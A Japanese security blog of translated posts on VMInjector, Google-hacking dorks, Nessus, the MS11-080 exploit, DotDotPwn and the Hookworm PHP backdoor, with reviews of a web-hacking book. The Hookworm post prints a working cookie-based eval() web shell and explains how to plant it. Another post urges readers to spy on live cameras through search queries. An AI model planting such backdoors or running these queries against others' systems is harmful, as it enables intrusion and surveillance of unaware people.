2013年9月23日月曜日

VMInjector の概要の訳

(元記事は:https://github.com/batistam/VMInjector )

概要:
------------
VMInjectorは、メモリを直接操作することで、VMware Workstationの/プレーヤー上で実行されている主要なオペレーティング·システムのOSログイン認証画面をバイパスするために設計されたツールです。

詳細:
------------
VMInjectorは、VMwareゲストのメモリを操作して、オペ​​レーティングシステムの認証画面をバイパスするための
ツールです。
VMwareは、RAMメモリを含め、ゲスト·オペレーティング·システムに割り当てられたリソースを処理します。VMInjectorは、VMWareのプロセスにDLLライブラリを注入し、マップされたリソースへのアクセスを獲得します。DLLライブラリは、VMwareのプロセスが所有してメモリ領域を解析し、ゲストのRAMイメージに対応する、メモリマップされたRAMファイルを配置することによって動作します。割り当てられたRAMファイルの操作と認証担当する関数をパッチすることで、攻撃者は基礎となる仮想ホストへの不正アクセスを獲得します。VMInjectorは現在、Windows、Ubuntu、Mac OS Xのオペレーションシステムのロックをバイパスすることができます。メモリ内のパッチは、非永続的で、ゲスト仮想マシンを再起動すると、通常のパスワード機能が復元されます。

攻撃シナリオ:
------------
VMInjectorは、仮想ホストのパスワードを忘れた場合や、リセットが必要なときに使用することができます。大抵、このツールが使用されるのは侵入テストの活動中で、VMwareのホストへのアクセスが達成されたときや、攻撃者がそのようなゲストが実行中のホストで追加のアクセス権を取得しようとしているときです。

必要になるもの:
------------
Windowsマシン(管理者アクセス権を持つ);
VMware Workstationまたはplayerエディション;
ロックされたゲストVM;

使用法:
------------
VMInjectorは2つの部分から成ります:
DLLインジェクションアプリケーション(Pythonスクリプトまたは変換された実行可能ファイルを提供)
DLLライブラリ(x86およびx64)

このツールは、両方のDLLを提供することで、x86とx64の両方のビットアーキテクチャをサポートしています。ホスト上で実行されているゲスト仮想マシンを選択するために、自身のDLLインジェクターを使用する場合もあります。
ツールを実行するためには、コマンドラインから与えられるVMInjector(32または64)実行ファイルを実行しますVMWareは各ゲストを別々のプロセスで実行します。VMInjectorは、バイパスが必要なゲストを実行しているプロセスを指定してやる必要があります。ユーザーがプロセスを選択したら、選ばれたターゲットにDLLを注入します。DLLが注入されると、ユーザはOSを指定して、メモリパッチが達成できるようにする必要があります

免責条項:
------------
このツールは合法的な目的のためだけのものです。コー​​ドはGPLv3ライセンスの下でリリースされます。

謝辞と参考文献:
------------
2006年の、ゲスト仮想マシンへのシェルコードを注入する上での貴重な研究に対してマイケルガーゼに感謝したいと思います。
また、Carsten Maartmann-MoeのInceptionでの仕事である、IEEE 1394 FireWireのトリックを使用してWindows、UbuntuとOS Xマシンのロックを解除するツールにも感謝したいと思います。これは、(現在は閉鎖された)winlockpwnツールで最初に紹介されました。

2013年9月21日土曜日

[英→日] Google Hackingに対する防御:検索エンジンで何が見つかるかを知るべし

(元記事はhttp://www.thesecurityblogger.com/?p=1463 )

デフォルトのパスワードを使用したり、公共の情報源へ機密情報を公開したりといった管理上の不注意によって、組織がいかに危険にさらされているかは衝撃的 だ。多くの企業では、トップダラー·セキュリティ·ソリューションを購入しているが、しかし最も一般的なセキュリティ上の弱点である徹底したセキュリ ティ·ポリシーの強制への対処に失敗している。Google Hacking (ただし他の検索エンジンを使用することもできる)と呼ばれる流行の偵察技術は、機密情報、脆弱性、ログイン認証情報といったものをインターネットの検索エンジンを使用して晒し出すことができる。Google Hackingやその他の偵察テクニックによる悪用を避けるためのヒントがこちらだ。

パスワードを強固にする: 
イ ンターネットに直面するあらゆるものは、ハッカーから身を守るために策定する、非常に厳格なセキュリティ·ポリシーを持つ必要があります。まず第一に、す べてのデフォルトのパスワードは、強固な方針を使用して変更する必要があります。強固なパスワードのフォーマットには、話語に見られる言葉が含まれてはな らず、これにはつづりを他の文字に変更したものも含まれます(例:Ex@mp1eは弱いとみなされる)。良いパスワード形式の例は、文の最初か最後の文字 と、プラスの数字と特殊文字を使用したものです(例:This Blog Talks About Many Crazy Thingsの各単語の最初の文字を変換 = tbtamct135 @ !)。また、長さ、有効期限、要因の数といったものも、パスワードのセキュリティ強度に影響すします。パスワードの詳細についてはこちらで見つけることができます
こちらは一般的なネットワークデバイスのデフォルトパスワードの例一覧です。隣接する小さなワイヤレスネットワーク上でデフォルトのログインをあぶり出すのが一般的ですが、しかし私のチームは標的へのGoogle Hackingクエリを使用して大規模な企業システムのデフォルト情報を同様に見つけ出しました。いくつか例をあげれば、#-Frontpage- inurl:administrator.pwd または  inurl:odbc.ini ext:ini –csv は Microsoft と ODBC のパスワードを検索するためのものです。 ある自動化ハッカーツールは、エクスプロイトの起動やパスワードクラッキングを実行に移す前の、システムの情報を収集するためにGoogle Hackingのクエリを使用しています。弱いパスワードの犠牲者になってはいけません!

何を衆目にさらしているかを知る:
脆弱性の報告、従業員の情報、機密記録といったことは、機密情報を保護するための鍵になります。データ損失防止製品やコンプライアンスツールのような機密情報のための監査に利用できる優れたツールがあります(DLPの詳細はこちら )。クレイジーなことはもうたくさんでしょうが、時に管理者は機密情報の監査結果を知らないうちに公共の検索エンジンへ漏洩させてしまうことがあります。 一例としては、監査レポートのヘッダー(例えば " This Report Was Generated By Nessus/0} ")を検索することで、侵入テスト技術を使用してアラームを無効に設定することなく、脆弱な標的を特定することです。もう一つの例は、intext:classified COMPANY で分類したようなフェーズを検索することで、企業の機密情報を探し出すことです。そこから出てくるものも衝撃的です。
ある楽しい検索語句は、Linksys inurl:main.cgi ViewerFrame?Mode=といったクエリでカメラを探し出すものです。気をつけて、その人たちはライブカメラの前にいると気づいていないかもしれません。本当ですよ、試してみてください!カメラをあちこちに動かし、世界のさまざまな部分を見ることができます
Google Hackingの検索用語を見つけるための本当に良い情報源は、HEREで見つかるCharity GHDB(Google Hacking Database)か、またはjohhny.ihackstuff.comです

Webサーバーとアプリケーションを堅固にする:
Web アプリケーションの脆弱性のなかには、自動化された悪意のアプリケーションがGoogle Hackingによって識別できてしまうものがあります。ベストプラクティスは、強固なWebアプリケーションを開発するためのセキュリティ手順を使用す ることで、すべてホスティングシステムを堅牢なものにすることも同様です。Cenzic,、McAfeeRadwareといった、クロスサイトスクリプティングなどのWebベースの攻撃から保護するソリューションを提供している企業もあります。ソースコード内で何をインクルードしているかを確認することも重要で、典型的に検索エンジンからの情報を隠すために使用するRobots.txtファ イルといった検索エンジン除外リストも同様です。ベストプラクティスは専門家を雇って、完全な侵入テストを通じてハッカーの活動をシミュレートすることで す。脆弱性ツールも良いですが、は、Google Hackingや他の攻撃に対して実際にどれだけ脆弱かを確認できるのは侵入テストだけです。ツールや請負先からの監査結果を保護しておくこともベストプ ラクティスです。

インターネットからあるものを削除したとしても、人々がそれらを見つけることができないと保証するものではないことを理解しておくことは非常に重要です。archive.org のような情報源や website/robots.txtを検索することで、何のコンテンツが隠されたのか、または一時的に公開されていたのかを特定できます。今はもうセキュアにしていても、古いバージョンの機密情報が利用可能なまま表示されているかもしれません。 

もう一歩先に進んで、あなたの組織をGoogle Hackingしてみましょう。YOURCOMPANY intext:confidential copyrightをgoogle検索、またはYOURCOMPANY intitle:index.of inbox dbx で受信トレイを探ると何が見つかるでしょうか。 johhny.ihackstuff.comに 移動して、あなたの組織に対していくつかクエリを実行してみましょう。また、Google Hacking onlineや、Johnny Longによる Google Hacking for Penetration Testers Volume 2という書籍でも多くが見つかります。

2012年12月3日月曜日

[英⇒日]Nessus HTML5 Interface Beta が公開!

(元記事は http://blog.tenablesecurity.com/2012/10/nessus-html5-interface-beta.html)



今までは、NessusのインタフェースはFlashを使用していて、開発プラットフォームとして多くの利点もありましたが、欠点もたくさんありました。 Nessusに実装したのがFlashインターフェイスだった理由の一つは、Flashが "すべてのブラウザで同じように動作する"と点で(ただし必ずしもそうではない場合もあることが判明している)、そしてクライアントの実行なくらいには高 速だったという点でした(現在は最新のjavascriptによって追い抜かれている)。またFlashは、良質とはいえない "モバイル"ユーザーエクスペリエンスしか提供しておらず、全く利用できない場合もあります。というわけで、標準ベースのテクノロジーを使用するほうが合 理的だろうということで、HTML5へ移行しているわけです。


ですからHTML5インターフェースをパブリックベータ版としてリリースしました - デフォルトNessusのインターフェイスは、まだ今のところはFlashになりますが、Flashがインストールされていないブラウザを使用してスキャ ナに接続した場合や、または正しいURLに直接行った場合には、HTML5クライアントのベータ版を使用するオプションを持つことになります。

HTML5ベータインターフェイスは、https://localhost:8834/html5.htmlというURLにアクセスすることですぐに使用できます(localhostにはあなたのNessusサーバのIPアドレスまたはドメイン名が入ります)。Nessusプラグインが最新であることを確認してくださいね。


我々はHTML5のクライアントに満足がいったので、それをデフォルトのインターフェイスしますが(11月中旬〜試験的に)、お好みによっては、Flashの インターフェイスを使用するオプションもまだあります。HTML5のインターフェイスのこの最初の模索の目標は、Flashのものと同じ機能を提供するこ とですが、将来も視野に入れて構築しています。インターフェイスを動かすためのバックエンドでのたくさんの処理は、ほとんどのプラットフォームで、迅速か つスムーズに動作するようになっています。

HTML5ベータインタフェースは、現在次に示すウェブブラウザをサポートしています:

Safari
Firefox
Chrome
Opera
IE 9
IE 10(Windows 8のバグのため、IE10のTLSv1かNessus 5.0.2のどちらかを無効にする必要があります。)

以下に示すのは、HTML5でのNessusインターフェイスの概観です:
元ページで画像を見る

2012年4月4日水曜日

[英⇒日]MS11-080 ローカルの権限昇格


MS11-080 – CVE-2011-2005
こ のグレートな小型Pythonスクリプトは、権限を昇格させて、SYSYEMシェルを奪い取る。これは、Windows XP SP3およびWindows 2003 SP2上で動作する。標準の非管理者ユーザーとしてスクリプトを実行すると、権限を昇格させて、Afd.sysを介してシステムを制圧する。

被害者のシステムにPythonがインストールされている必要があり、少し面倒ですが、近いうちに.exe形式のエクスプロイトになると確信しています



 

Microsoftの記事:
http://technet.microsoft.com/en-us/security/bulletin/ms11-080
Exploit:
http://www.exploit-db.com/exploits/18176/~~V

2012年2月16日木曜日

DotDotPwn - ディレクトリトラバーサルFuzzer 3.0

(元記事はこちら)

DotDotPwnは、非常に柔軟でインテリジェントなfuzzerで、Web / FTP / TFTPなどのサーバのソフトウェアや、CMS、ERP、BlogといったWebプラットフォームで、ディレクトリトラバーサルの脆弱性を発見できる。また、プロトコルに依存しないモジュールがあり、お望みどおりのペイロードを、指定されたホストとポートへ送信できる。一方で、STDOUTモジュールを使用して、スクリプティングの方法で使用することもできる。

変更点 :複数の新しいスイッチとエンコーディングが追加されました。

2012年2月15日水曜日

Hookworm:ステルスPHPバックドア!

(元記事はこちら)

Weevelyだとか 、最近ではWeBaCoo に関する記事を覚えているのなら、私たちが何の話をするのかおわかりだろう。そう - ステルス、クッキーベース、Webバックドアだ。今回はフックワームについてだ。

 リモートシェルスクリプトバックドアを使用する状況といえば、リモートサーバ上にコマンドを発行しやすくしたい時だ。その機能は様々で、プログラミング言語も様々、サイズも様々だ。URLの引数を評価するシンプルなスクリプトもあり、関数を使ってそれらを実行し、結果をWebページに表示し、ポイント・アンド・クリックによる操作を備えた複雑なユーザーインターフェイスで、陥落後の多くアクティビティをこなしてくれる。URLの引数を評価するスクリプトの問題点は、どんなシェルが使用されたのかという証拠を多量のログファイルとして残してしまうことだ。第二に、それらのほとんどは、アップロードされたサーバ上のコマンドサポートにおける、静的な性質に依存して構築されている。HTTP GETおよびPOST変数は簡単に観測でき、検出や監査証跡の形成をしやすくしてしまうだろう。

 こういった不安要素すべてを念頭において、 Hookworm製作者 - Mr.ジャスティンクラインキーンは、より巧妙なバックドアの構築にとりかかった。彼は、悪意のあるペイロードを運ぶために使用できる、クライアントとサーバー間で渡される数多くの見落とされがちなHTTP変数が存在することに気付いた。Hookwormは、単にブラウザによって送信されたクッキーを探して、クッキーのペイロードの制約にもかかわらず、大規模なデータを送信するために、クッキー、任意の数の間の応答を分割することによって応答します。クッキーが持つのは限られたデータを運ぶ能力で、容量には制限がある(4096バイト)。しかし、RFC 2109によれば、サイトがクライアントに設定できるCookieの数の制限は、非常に高くなっている。これはクライアントが制御するものなので、数字は、あなたの望むままにできてしまう!

では、どのように実際に鉤虫を実行するのだろう?あなたがする必要があるのは、ターゲットシステム上のファイルを編集できるような、PHPアプリケーションの脆弱性を見つけることだ。SQLインジェクション脆弱性の発見なら、私に任せて。ファイルのアップロード、あるいはリモートファイルインクルージョンが動作するものだろうと、見つけることは難しくない。


<?php if(isset($_COOKIE['c'])) {eval($_COOKIE['c']); echo $_COOKIE['d'] . $r . $_COOKIE['d'];}?>
 
を対象となるWebページへ追加すればいい。ここで、'c'cookieがペイロードコマンドを運ぶのに対して、'd'のcookieは区切り文字を保持し、クライアントが余分なHTMLを取り除いて表示できるようになっている。このコードが、ホストのPHPページに注入されると、Hookwormのデータは応答の中にカプセル化され、Hookwormクライアントによって簡単に解釈できるようになる。次のコマンドラインで鉤虫PHPクライアントを実行する:
 
 $ php hookworm.php
 
スクリプトの相対パスによる、接続用IPを入力するよう求められる。スクリプトの場所を指示すれば出来上がりだ!シェルは君のものだ!

フックワームが備えているコマンド:

  1. shell_exec()とを介してコマンドをフォークする
  2. PHPのコマンドを発行する
  3. すべての。htaccessファイルを見つける
  4. すべての。htaccessファイルを見つける
  5. すべてのSUIDファイルを見つける
  6. ファイル名の[名前]を持つすべてのファイルを見つける
  7. すべての書き込み可能なファイルとフォルダを見つける
  8. マシン上で開いているポートを表示する
フックワームによる利点は、アップロードするファイルサイズの制限をあまり心配する必要がないことだ。セキュアな、HTTPSチャネルで接続すると、長い時間にわたるコントロールを設定できます。一旦"インストール"されてしまえば、システム上のhookwormを検出することは、ファイル変更の監視やHTTP / HTTPSリクエストを介して入ってくるクッキー検査を除けば、非常に困難になる、。
このツールは、概念の実証としてのみ開発されたものであり、悪意のある目的を意図したものではないことを念頭におく必要がある。

Download Hookworm:

Hookworm v1.0  hookworm.php/hookworm.php.tar.gz  http://www.madirish.net/sites/default/files/hookworm.php.tar.gz

2012年2月11日土曜日

[英⇒日]The Web Application Hacker's Handbook: Discovering and Exploiting Security Flaws

(Kindle版あり )

1118026470 978-1118026472 2

高評価のセキュリティ本が完全に更新されて、新版となって帰ってくる
Webアプリケーションは、大半の組織の正面玄関であり、これを露出させることは、個人情報の漏洩、不正な処理の実行、あるいは一般ユーザーへの侵害、といった攻撃につながる。この実用的な本は、完全な更新と改訂がなされ、進化し続けるWebアプリケーションを狙った攻撃とその防御の最新手法を、ステップバイステップで解説していく。初版以降に登場したWebアプリケーションにおける新採用の様々な技術にもお目にかかれるだろう。新たに開発された攻撃手法、特にクライアント側に関連するものも調査している。
  • 以前の版以降に登場した、Webアプリケーションを攻撃から守ることを目指した新技術や新技法を出し抜く方法を明らかに
  • 新たなリモート処理フレームワーク、HTML5、クロスドメインの統合技術、UI偽装、framebusting、HTTPパラメータの汚染、ハイブリッドファイル攻撃、なども解説
  • 著者が主催する共用Webサイトでは、説明される攻撃を読者が試してみることができ、各章の終わりに提起されている質問への回答を配ったり、さらに手法の要約やタスクのチェックリストも掲載されている
近年物事が急速に移り変わるWebアプリケーションセキュリティの分野に焦点を当て、本書は、探査、攻撃利用、Webアプリケーションのセキュリティ上の欠陥の防止、といった重要なトピックに関する最新のリソースだ。

カスタマーレビュー

 (※以降第1版のレビュー)
★★★★★ あなたが知っておくべきすべてのこと 2008年1月16日
By Jeff Pike (Mechanicsville, VA United States)
これは、少なくとも過去一年で書かれた中で、最も重要なITセキュリティのタイトルだ。なぜ?カスタムWebアプリケーションでは、聞き及ぶ既知の脆弱性の すべての組み合わせに対する、悪用の機会より多くを与えてしまう。この本は、様々なサブジェクトへの専門治療を施してくれる。727ページのボリュームな がら、記述は非常に明確で簡潔であることがわかる。不手際も最小限だ。すべてが明確に説明されているが、これは初心者の本ではない。著者は、あなたが HTML、JavaScriptなどを読み取ることができることを前提としている..普通は、このような本でが、いくつかの章は本当に良く、いくつかのま あまあの章があるといったところだが、そのケースは本書には当てはまらない。この本の3-18章を通して、すべてが堅固だ。もう一つの大きなプラスとし て、この本のツールは無料だ。

最初の数章では、文脈や背景情報を提示している。第3章は、Webアプリケーション技術に関する章で、特に有用な背景情報を与えてくれる。次からの666ページはすべて、アプリケーションの攻撃についてのものだ。

次の5つの章では、アプリケーション機能のマッピング、クライアント·サイドのコントロール、認証、セッション、およびアクセス·コントロールを扱ってい る。範囲は網羅的だ。私はこれらのトピックに馴染みがないわけでもないが、それぞれの章で、かなりのことを学べた。到達範囲の深さは驚くべきものだ。

次の6章は、本書の心臓部だ。インジェクション、パストラバーサル、アプリケーション·ロジック、XSSと関連攻撃、自動攻撃、情報漏洩を扱っている。 SQLインジェクションやクロスサイトスクリプティングのようなお馴染みの攻撃法だけでなく、今までほとんど聞いたこともないような攻撃にも、完全な対処 法を見つけられるだろう。危険性は現実的であり、これらの章は必読だ。

続く最後の4つの章では、コンパイルされたアプリケーション、アプリケーションアーキテクチャ、Webサーバー、およびソースコードへの攻撃を扱っている。 最後の2つの章は、クイックリファレンスとしていっそう有用だ。本全体を通して扱われるツールの概要が提示され、攻撃の方法論といったそれぞれの技術を攻 撃に利用するため方法も、本全体を通して論じられている。

情報の妥当性と価値に基づけば、この本が5点を獲るのは容易いだろう。


★★★★★ 開発者とセキュリティのプロの両方の優れたリソース
By Seth Fogie

まず余談として - このレビューは、幾レベルかバイアスされていることを白状し、認めておこう。一般公開されているWebアプリケーションセキュリティのコミュニティは小さ いので、出版物やプレゼンテーションは、フィールド内の他の注目を引くし、会話/レビュー/ブログコメントも頻繁に起こるだろう。なぜこのような言及を? ええと、Dafyddは彼のブログで、 XSS Attacksの レビューをしていた。私が、この分野における他のはるかにビッグなプレーヤーとともに共著した本だ。私もBurpには少なからず敬意を持っているし、 Dafyddが書いたプログラムは、ウェブアプリの重要な書籍のほとんどすべてで強調表示されている。だから、私が著者と無関係だと言ったら、誤解を招く だろう - 控えめに言ってもね。

さて、この本についてだが - 買うしかない、失望することはまずないだろう。私はこの本を読み通して(いくつかのおなじみの章はざっと目を通しただけだが)、フルタイムのWebアプリ ケーションの侵入テスターが、いかに多くのことを知っている必要があるのかという事実に圧倒された - こういったことはすべて、この本ではあの手この手で言及されている。実際、他の本で競争できるものがあるとは考えられない...

この分野に慣れていない人でも、またセキュリティの専門家や、あるいはWeb開発者でも、この本の釣り糸をたぐらずにはいられないだろう。セキュアなWeb アプリケーションの開発における、さまざまな側面の例証と実証も良い出来だ。経験豊かな多くの専門家には、あなたの記憶をリフレッシュさせて、忘れてし まったトリックやテクニックを思いおこすためのリソースとしてこの本が機能することは間違いない。この目的で役に立ってくれることは、すでに私で確認済み だ...

それでは、この本のさらに詳細を、どのへんから紹介していきましょう?個人的に、私は第20章から読み始めました - Webアプリケーションハッカーの方法論の章です。ここを読むことで、生活のかなりの部分をWebアプリの分解に費やしている著者の思考を覗きこむことに なるだろう。また、本書がこのようなレイアウトになっている理由も理解できるだろう - 単に、攻撃/侵入テストが行​​われる手順の並びという理由ではあるが。すべてを詳細に理解することは期待せず、再読するものとしよう。ただし、この本 が、興味深く読めるもので、すぐに実用的なコーディング/攻撃テクニックに切り変わってくるだろうという感覚はすぐに得られるはずだ。

この本は、いくつかの大きな部分に分かれている。最初のセクションは、用語、概念、実行環境などに順応するためのもので、本の残りの部分の基礎となるもの だ。ここには、サーバテクノロジに関する主要な各セクションの概観も含まれ、Webアプリケーションの機能はどのようなものか、そしてあなたが攻撃にさら される露出部の概要を説明しています。

次のセクションでは、攻撃者の観点から、後の分析のためにアプリケーションをマッピングするさまざまな方法を例証しながら、Webアプリケーションを見てい く。あなたがWeb開発者であれば、説明されるテクニックのひとつまたは複数は、サイト上に格納されている情報に少なからず懸念をもたらすものだというこ とを知る機会になるだろう - あなたのWeb​​サーバー上のものが安全だなんて思い込むことはもうできなくなるだろう。

​ ​この大きなセクションは、本書の中でも特に楽しいことが見つかる場所だ。基本的に、著者らは、次のWebアプリケーション攻撃を段階を追いながら実演し ていく - 認証、セッション管理、アクセス制御、コードインジェクション、Webサーバのバグ、ロジックエラー、そしてコンパイルされたアプリケーションのリバース エンジニアリング。各セクションでは、Webアプリケーションハッカーが(良くも悪くも)目標を達成するために使用する、攻撃経路とテクニックのほとんど すべてを、深く、包括的に把握できるだろう。

この本の素晴らしい点の一つは、理論だけにはとどまらないところです。問題を説明する実用的な先の尖った実例が含まれていて、しかし、目的のないソースコー ドで何ページもつかってスペースを埋めるだとかして、読者の時間を無駄にするようなことはない。736ページにわたって、この本には、埋め物の入り込む余 地はない。

攻 撃利用の例に加えて、著者らはまた、必要とされる `防護"の側面もとりあげ、Web開発者が、特定の攻撃に対して、どのようにアプリケーションを強化したらよいのかといったことを理解できるようにしてい る。私の経験では、Webアプリケーションを保護する方法を知ることは、多くの場合それを破る方法を知るより困難だ - だから、本書のこの部分を見ると、著者の洞察力の指標にできるだろう。

私が細心の注意を払った3つのセクションがある - 対象が私の仕事に関わるものだというのも理由の一つではあるが、提示されるコンセプトを私が気に入ったからでもある。ひとつめは11章、アプリケーショ ン·ロジックの攻撃を扱う章だ。この章では、著者らは、Function - Assumption - Attackプロセスを用いて、問題とその攻撃利用の方法を浮かび上がらせる。論理エラーは100%ヒューマンエラーに基づくものなので、良い例なしに分 類したり説明することは非常に困難だ。だから、他の人がどのように失敗したのか、攻撃がどのような障害をもたらしたのか、といったことを確認することに なったのだが、まるで物語のように読めた。

次のセクションは、第12章 - 他のユーザーへの攻撃だ。このセクションでは、XSS、XSRF、などの主題に跳び込んでいく - 全体を通して、私のXSS攻撃に関する著作と同様に、楽しめるものだった。

そして最後に、だが軽んじてはならないのは、しばしば見過ごされているWebアプリケーションのセキュリティの一側面を論じていることで、私が本当に気に 入っている - クライアントサイドの `シック·クライアント"でのリバースエンジニアリングだ。これが、Flash、Java、ActiveX、またはC + +のいずれでコード化されたプログラムだったとしても、クライアント側のコードをリバースエンジニアリングして、Webベースのアプリケーションに予期し ないコンテンツを挿入することが可能になってしまう。だから、この攻撃ベクトルを提示した著者には、称賛を送りたい。

それでは、本に何か問題はあるだろうか?まあ、厚いという事実を除いて - ない。この本はそこにある攻撃のほとんどすべてを理解するための優れた方法であり、あらゆるWeb開発者/セキュリティの専門家にとって貴重なリソースと なるだろう。主題に関するより具体的な詳細を知りたい場合は、その資料はさまざまな場所で見つかります - Cross Site Scripting Attacks: XSS Exploits and Defense, The Database Hacker's Handbook: Defending Database Servers, and Exploiting Online Games: Cheating Massively Distributed Systems (Addison-Wesley Software Security Series) が例です。

以上をまとめてみよう。The Web Application Hackers Handbookは、投資の価値がある、買いに行こう。



 ★★★★★ 初心者向けにも経験者向けとしても傑出している
By  R. Wesley McGrew
たとえ文字をお読みになる前であっても、"The Web Application Hacker's Handbook: Discovering and Exploiting Security Flaws"は、二つの理由からあなたの関心を惹くはずだ。第一点は、タイトルとカバーアートで、 Webセキュリティにおいて対をなす"The Shellcoder's Handbook"のWiley社によるものだ。私はすでに肯定的な評価を与えている第二の理由は、本が到着するまで私は気づいていなかったのだが、著者 のひとり、Dafydd Stuttardは、Burp Suiteという、Webアプリケーションの探索と攻撃利用のための、優れたツールの作者であるということだ。私はそのプロキシ機能を頻繁に使用してい て、そしてその唯一の理由が、ラップトップにJava VMをインストールしているからだということを、よく人に言っている。私は、そのような偉大なツールのセットの作成者によるWebアプリケーションのセ キュリティを読めることに非常に興奮し、そしてそれは私を失望させることはなかった。

私は、Webアプリケーションの攻撃に焦点を当てた他の本を読んでいないので、比較するものがないことは白状しておこう。とはいえ、私が言えることは、この 本は、アプリケーションのマッピングから攻撃利用まで、完全に徹底的にトピックを網羅しているということだ。数々の一般的な攻撃が扱われているが(例え ば、クロスサイトスクリプティングやSQLインジェクションなど)、本書の真の価値は、脆弱性を見つけるプロセスを教えてくれるところだ。これで武装すれ ば、あなたが探す、アプリケーションに固有の論理エラーを伴う問題を、より効果的に発見することができるだろう。この本は最初から最後までとてもよくでき ていて、それぞれの章では、作者がまとめたWebアプリケーションをハッカーの方法論を、それぞれまったく異なる手順で構築していく​​。

扱うトピックは、メーリングリスト上でアプリケーションの日報に開示されるような脆弱性の大部分を包含している。特定の攻撃のための章立てというよりむし ろ、著者らが収集したもの有意なカテゴリごとに分けて、関連するコンテンツと一緒に提示している。たとえば、SQLインジェクションおよびremote- file-inclusionは、 "Injecting Code"の章に配置されている。同様に、クロスサイトスクリプティング攻撃、セッション固定、リクエスト·フォージェリは、 "他のユーザーへの攻撃"の章が扱っている。はじめのほうにある"Webアプリケーションの技術"の章には入門資料があるが、しかしこの本を手に取るので あれば、Webアプリケーションの仕事や、開発者の観点、または攻撃の基礎への理解、のどれかに多少なりとも馴染みがあるほうが望ましいだろう。各章の終 わりにある質問は、読者が各章の本質を理解しているかをテストするようにデザインされており、私は、少なくともそれを読んで、いくつか考えを得られるくら いには役に立ったと考えています。Webセキュリティの入門者の方ならおそらく、それぞれの質問が焦点を当てるものから、多くの価値を得られるだろう。

このような大規模な本において、明らかなエラーに出会わなかったというのは、非常にうれしい驚きだ。本のためのウェブサイトは非常に完全で、各章の終わりの 質問すべてに対する答え、ある章で開発したツールのソースコード、文中で説明されるツールのリスト、および最後の章で説明する方法論のチェックリスト、と いったものが掲載されている。あなたがWebアプリケーションのセキュリティに関心を持っているのであれば、この本を手に取ることを強くおすすめしたい。 とりわけアプリケーションの脆弱性の監査に興味があるのであればなおさらだ。さらに、Webアプリケーションの開発者にとっても、この本にはたくさんのメ リットがあるだろう。あなたのアプリケーションに対する攻撃がどのように行われるかを知っておくのは重要で、本書には各攻撃の軽減策が記載されている。

私はこの本を楽しめたし、載っているテクニックが有用だと分かったので、手法を活用することも計画している。